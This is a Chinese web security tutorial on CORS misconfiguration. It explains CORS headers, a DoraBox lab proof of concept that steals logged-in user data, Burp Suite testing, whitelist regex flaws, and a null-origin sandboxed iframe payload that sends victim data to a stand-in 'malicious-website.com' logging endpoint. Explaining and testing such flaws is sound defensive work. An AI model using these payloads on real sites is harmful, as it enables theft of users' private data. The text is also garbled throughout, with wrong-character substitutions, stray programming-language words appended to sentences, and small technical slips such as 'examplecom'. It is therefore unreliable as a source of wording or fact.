网站若是存CORS跨域漏洞就会有用户敏感数据被窃取的风险。
跨域资源共享(CORS)是一种浏览器机制,可实现对位于给定域外部的资源的受控访问。它扩展了同源策略(SOP)并增长了灵活性。可是,若是网站的CORS策略配置和实施不当,它也可能带来基于跨域的攻击。CORS并非针对跨域攻击(例如跨站点请求伪造(CSRF))的保护措施。javascript
这里咱们必需要了解一下同源策略:同源策略是一种限制性的跨域规范,它限制了网站与源域以外的资源进行交互的能力。起源于多年前的策略是针对潜在的恶意跨域交互(例如,一个网站从另外一个网站窃取私人数据)而制定的。一般,它容许一个域向其余域发出请求,但不容许访问响应。源由通讯协议,域和端口号组成。
SOP是一个很好的策略,可是随着Web应用的发展,网站因为自身业务的需求,须要实现一些跨域的功能,可以让不一样域的页面之间可以相互访问各自页面的内容。php
跨域资源共享(CORS)规范规定了在Web服务器和浏览器之间交换的标头内容,该标头内容限制了源域以外的域请求web资源。CORS规范标识了协议头中Access-Control-Allow-Origin最重要的一组。当网站请求跨域资源时,服务器将返回此标头,并由浏览器添加标头Origin。
例以下面的来自站点 http://example.com 的网页应用想要访问 http://bar.com 的资源:
requests
html
1 GET /resources/public-data/ HTTP/1.1 2 Host: bar.com 3 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 Accept-Language: en-us,en;q=0.5 6 Accept-Encoding: gzip,deflate 7 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 8 Connection: keep-alive 9 Referer: http://example.com/examples/access-control/simpleXSInvocation.html 10 Origin: http://example.com
response
java
11 HTTP/1.1 200 OK 12 Date: Mon, 01 Dec 2020 00:23:53 GMT 13 Server: Apache/2.0.61 14 Access-Control-Allow-Origin: * 15 Keep-Alive: timeout=2, max=100 16 Connection: Keep-Alive 17 Transfer-Encoding: chunked 18 Content-Type: application/xml
第 1~9 行是请求首部。在第10行的请求头 Origin 代表该请求来源于 http://example.com。
第 11~18 行是来自于 http://bar.com 的服务端响应。响应中携带了响应首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 代表,该资源能够被任意外域访问。若是服务端仅容许来自 http://example.com 的访问,该首部字段的内容以下:
Access-Control-Allow-Origin: http://example.com
若是跨域请求能够包含cookie的话,在服务器响应里应该有这一字段:
Access-Control-Allow-Credentials: true
这样的话攻击者就能够利用这个漏洞来窃取已经在这个网站上登陆了的用户的信息(利用cookie)python
这里以droabox靶场为例
这个接口会返回已登陆的用户的信息数据,经过访问该网页的响应咱们看到这里可能存在CORS跨域资源共享漏洞
接下来咱们就能够创建一个恶意的js代码git
<!-- cors.html --> <!DOCTYPE html> <html> <head> <title>cors exp</title> </head> <body> <script type="text/javascript"> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { alert(this.responseText); document.getElementById("demo").innerHTML = this.responseText; } }; xhttp.open("GET", "http://192.168.0.101/DoraBox/csrf/userinfo.php"); xhttp.withCredentials = true; xhttp.send(); } cors(); </script> </body> </html>
访问这个页面就能够获取已登陆的用户的信息
该恶意代码首先定义一个函数cors,以get形式访问目标网址,建立XMLHttpRequest对象为xhttp,经过ajax的onreadystatechange判断请求状态,若是请求已完成,且相应已就绪,则弹出返回文本。github
在以前咱们了解了一些关于CORS跨域资源共享通讯的一些字段含义,
CORS的漏洞主要看当咱们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段而且容许Origin的域访问。
通常测试WEB漏洞都会用上BurpSuite,而BurpSuite能够实现帮助咱们检测这个漏洞。
首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:example.com的Enable框。
当咱们进行测试时,看服务器响应头字段里能够关注这几个点:
最好利用的配置:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
可能存在可利用的配置:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
很好的条件但没法利用:
下面这组配置组合虽然看起来很完美可是CORS机制已经默认自动禁止了这种组合,算是CORS的最后一道防线
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
单一的状况
Access-Control-Allow-Origin:*
总结漏洞的缘由:
1:CORS服务端的 Access-Control-Allow-Origin 设置为了 *,而且 Access-Control-Allow-Credentials 设置为false,这样任何网站均可以获取该服务端的任何数据了。
2:有一些网站的Access-Control-Allow-Origin他的设置并非固定的,而是根据用户跨域请求数据的Origin来定的。这时,无论Access-Control-Allow-Credentials 设置为了 true 仍是 false。任何网站均可以发起请求,并读取对这些请求的响应。意思就是任何一个网站均可以发送跨域请求来得到CORS服务端上的数据。web
一些支持从多个来源进行访问的应用程序经过使用容许的来源白名单来实现。收到CORS请求后,会将提供的来源与白名单进行比较。若是来源出如今白名单中,那么它会反映在Access-Control-Allow-Origin标题中,以便授予访问权限。例如,web应用收到一个正常的请求:ajax
GET /data HTTP/1.1 Host: bar.com ... Origin: https://example.com
web应用根据其容许的来源列表检查当前请求资源的来源,若是在列表中,则按如下方式反映该来源:正则表达式
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://example.com
但在检测来源是否存在于白名单时常常可能出现问题,一些网站可能会容许其全部的子域(包括还没有存在将来可能存在的子域)来进行访问,或者容许其余网站的域以及其子域来访问请求。这些请求通常都经过通配符或者正则表达式来完成,可是若是这其中出现错误可能就会致使给予其余未被受权的域访问权限。例如:
例如,假设一个应用程序授予对如下列结尾的全部域的访问权限:
examplecom
攻击者可能能够经过注册域来得到访问权限:
exeexample.com
或者,假设应用程序授予对全部以example.com开头的域访问权限,攻击者就可使用该域得到访问权限:
example.com.evil-user.net
假如两个互相受信任的源,若是其中一个网站存在XSS,攻击者就能够利用XSS注入一些JavaScript代码,利用这些代码对信任其源的另外一个网站进行敏感信息的获取。
若是进行CORS请求时网站响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://vulnerable.com Access-Control-Allow-Credentials: true
就能够利用XSS漏洞在vulnerable.com网站上使用下面的URL来经过检索API密钥:
https://vulnerable.com/?xss=<script>cors-stuff-here</script>
CORS协议的一个重要安全前提是跨域请求中的Origin头不能被伪造,这个前提并非老是成立。Origin头最先被提出用于防护CSRF攻击,它的语法格式在RFC 6564中被定义。RFC 6564规定,若是请求来自隐私敏感上下文时,Origin头的值应该为null,可是它却没有明确界定什么是隐私敏感上下文。
CORS协议复用了Origin头,但在CORS标准中一样缺少对跨域请求Origin中null明确的定义和限制。有些开发者在网站上配置信任 null,用于与本地file页面共享数据,以下所示:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在这种状况下,攻击者可使用各类技巧来生成跨域请求,该请求构造的Origin为null值。这将知足白名单的要求,从而致使跨域访问。例如,可使用iframe如下格式的沙盒跨域请求来完成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; </script>"></iframe>
这就意味着任何配置有Access-Control-Allow-Origin: null
和Access-Control-Allow-Credentials:true
的网站等同于没有浏览器SOP的保护,均可以被其余任意域以这种方式读取内容。
github上提供了一个关于扫描CORS配置漏洞的脚本
https://github.com/chenjj/CORScanner
CORScanner是一个python工具,旨在发现网站的CORS错误配置漏洞。它能够帮助网站管理员和渗透测试人员检查他们针对的域/ URL是否具备不安全的CORS策略。
可是这个好像不能扫描特定接口的
CORS漏洞主要是因为配置错误而引发的。因此,预防漏洞变成了一个配置问题。下面介绍了一些针对CORS攻击的有效防护措施。